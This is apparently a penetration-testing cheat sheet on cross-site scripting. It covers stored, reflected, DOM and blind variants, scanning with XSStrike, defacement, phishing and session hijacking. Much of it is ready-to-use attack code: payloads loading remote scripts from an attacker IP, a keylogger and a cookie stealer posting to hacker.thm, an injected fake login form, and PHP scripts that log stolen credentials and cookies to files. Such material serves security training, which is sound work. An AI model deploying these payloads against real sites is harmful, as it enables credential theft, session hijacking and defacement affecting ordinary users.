βοΈCross Site Scripting (XSS)
XSS
Cross-site scripting is a vulnerability that lets us take some control of the web application by injecting code into it.
Using XSS we potentially can:
Modify site content
Inject malicious code that runs for all visitors to the site
Steal the cookies of a user
Perform legitimate actions as the now authorized user
Deface websites
First, we need to find a user input, this could be:
Form inputs
Cookies
Request headers
POST/ GET params
One of the first attacks to make is: π
<i>test</i>
if successful, move onto injecting javascript
<script src=alert(0);></script>
Stored XSS
A persistent type of XSS and one of the most critical.
The payload is stored in a backend DB and executes when another user visits the site.
An example of stored XSS is a forum that allows users to post comments. An attacker could leverage this functionality and write some malicious code to steal cookies from users or perform other damage.
Test Payload
A simple test for XSS, if we get an alert then we know the input is vulnerable
<script>alert(window.origin)</script>
If that is blocked we can try other payloads such as
<script>print()</script>
Things to test
Comments on a blog
User profile information
Forum posts
To check if the payload is persistent we can refresh the page to see if it is still there after the page loads.
Reflected XSS
A Non-Persistent XSS vulnerability which gets processed only on the client side.
Test parameters in the URL query, file paths and HTTP headers just in case.
The script comes from the current HTTP request
Malicious code is carried inside a request that can be sent to a victim via posting a link on social media or in an email
Used in search bars where input is reflected on the page
http://victim.site/search.php?find=<evilcode>
http://victim.site/search.php?find=<script>alert(window.origin)</script>
When the user clicks the link the script will execute on their system
DOM XSS
Another Non-Persistent type of XSS
The scripts exist only in client-side code and can occur when Javascript is used to change the page source through the DOM.
Test Payload
An example of this would be trying to load an HTML function onto the page:
<img src="" onerror=alert(window.origin)>
<img src="" onmouseover=alert(document.cookie)>
Injecting into global parameters like window.location.[PARAM]
Check to see how the code handles the values and if they are written to the DOM or passed to JS methods like eval()
We can now create a link like before and send it to our victim and it will execute on their system
http://example.site/#task=<img src=onerror=alert(document.cookie)>
Blind XSS
It's similar to Stored XSS but you can't see the payload working or test it against yourself as easily.
These vulnerabilities usually occur when it's triggered on a page we don't have access to.
Contact Forms
Support Tickets
Reviews
A website's contact form where you can contact a staff member may not have any input validation allowing you to enter malicious code, and our script can make calls back to their website revealing sensitive cookies.
We can't use our classic test payload of alert(window.origin)
as we would not see it triggered.
If we are faced with a multipart form it may be hard to find which field is vulnerable and what payload to use too.
We can load a remote script hosted from our attacking machine. In this case, we can make a request for the field name to test against the username
input field.
<script src="http://ATTACKERS_IP/FIELD_NAME_TO_TEST"></script>
<script src="http://ATTACKERS_IP/username"></script>
If we receive a request for the username
field then we know it's vulnerable and we can start testing XSS payloads against it.
In this case using '>
, works.
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
Now we set up a listener on our machine to catch the result
sudo nc -lvnp 8080
Common XSS Payloads
Keylogger
<script>
document.onkeypress = function(e) {
fetch('https://hacker.thm/log?key=' + btoa(e.key) );
}
</script>
Session Stealing
<script>
fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));
</script>
XSS Hunter is a great tool for testing these
XSS Discovery
We can manually poke and prod an application looking for any signs of XSS or we can use automated solutions.
Automated Discovery
Web application scanners usually have the capability to detect XSS vulnerabilities, and they usually perform both passive and active scans.
There are many free and paid tools out there but we will focus on XSS Strike for now
XSS Strike
Install and Setup
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
Running the Script
python xsstrike.py -u URL/index.php?key=...
XSStrike v3.1.4
[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: task
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <HtMl%09onPoIntERENTER+=+confirm()>
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N]
Manual Discovery
We can manually test payloads from some great sources listed below but it would be a better idea to create some form of script to run each payload against our target instead of manually copying and pasting each one.
Code Reviewing
A reliable method of detecting XSS vulnerabilities is reading the code, if we can understand how our input has been handled we will be able to easily identify if there is a vector and how to exploit it.
Defacing Websites
If the site is vulnerable, we can inject JavaScript code through XSS to change the look of a website.
The main HTML methods for changing HTML:
Background Color -
document.body.style.background
Background -
document.body.background
Page Title -
document.title
Page Text -
DOM.innerHTML
Application
We will briefly go through a few methods of how we could use this on a vulnerable website.
Changing Page Title
<script>document.title = "Hacked Website"</script>
Changing Page Text
<script>document.getElementById("input-box").innerHTML = "Defaced Text"</script>
<script>document.getElementsByTagName('body')[0].innerHTML = "Defaced Text"</script>
Phishing
A common form of XSS attacks is phishing attacks, they can be used to inject fake login forms that send login details to an attacker's server to gain sensitive information.
Login Form Example
We can inject a login form on the targeted page and when submitted will send the login information to our listening server.
<h3>Please login to continue</h3>
<form action=http://IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
With the above template, we can write the HTML code to the page with document.write()
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
Say we now have the login form on the page we want to hide our original XSS vulnerable form and potentially other elements on the page to make it seem like they are hidden behind the login. To do this we can use document.getElementById("ID").remove()
Credential Stealing
We could now set up a listener and if the form is submitted we would get back the login credentials used. This works but when the victim submits the form they would get an error and probably get suspicious.
We can write a small script in PHP to handle the form correctly by redirecting to the original page, which will help the authenticity of the login form and still get the credentials used. This would capture the request and save it to a file called creds.txt
which would contain
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/index.php");
fclose($file);
exit();
}
?>
We can then host our file locally and then wait for someone to try and log in using our crafted form
sudo php -S 0.0.0.0:80
Session Hijacking
Most applications use cookies or sessions to manage a user's login, if we were able to obtain the cookie data we might be able to use it to impersonate a user and log in.
The attack is similar to the Phishing attack mentioned earlier, it starts with a JavaScript payload and then a locally hosted PHP server to listen and grab the data.
The Attack
// script.js
// We can use either, but the image option may look less suspicious
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
Next, we submit our XSS payload into the vulnerable form on the website
<script src=http://OUR_IP/script.js></script>
We then can create a PHP script to catch the cookies if multiple victims fall foul to the XSS
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
Finally, we start our PHP server and wait
Last updated
Was this helpful?